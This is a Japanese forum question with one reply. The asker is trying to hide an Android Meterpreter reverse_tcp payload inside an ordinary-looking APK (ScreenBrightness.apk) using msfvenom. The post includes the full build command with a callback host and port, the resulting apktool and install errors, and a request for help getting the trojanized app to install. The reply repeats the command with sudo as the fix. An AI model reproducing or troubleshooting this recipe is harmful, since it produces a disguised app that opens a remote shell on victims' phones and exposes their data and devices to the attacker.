ペイロードをapkファイルに埋め込みたいのですが。 msfvenom -x ScreenBrightness.apk -p Android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk
を使ってみた
そしてこれは出力でした:
Using APK template: ScreenBrightness.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No Arch selected, selecting Arch: dalvik from the payload Error: Malformed version number string 2.4.0-dirty /usr/bin/apktool: line 27: mkdir: command not found /usr/bin/apktool: line 28: ln: command not found
次に、ディレクトリを確認したところ、output.apkという名前のファイルがあることがわかりました。
Androidにoutput.apkをインストールしようとしましたが、App not Installed
と表示されていました。私は何度も試しましたが、これが結果でした。
それで、コマンドadb install output.apk
でadbを使用してoutput.apkをインストールしようとしました
そして、これはまだ出力でした:
Failure [INSTALL_FAILED_INVALID_APK]
Linuxを使用しています:Parrot GNU/Linux
私のAndroid:Android 6.0.1(Marshmello)
ペイロードをapkファイルに正しく埋め込むにはどうすればよいですか?
前もって感謝します。
次のようにSudoで試してください:
Sudo msfvenom -x ScreenBrightness.apk -p Android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk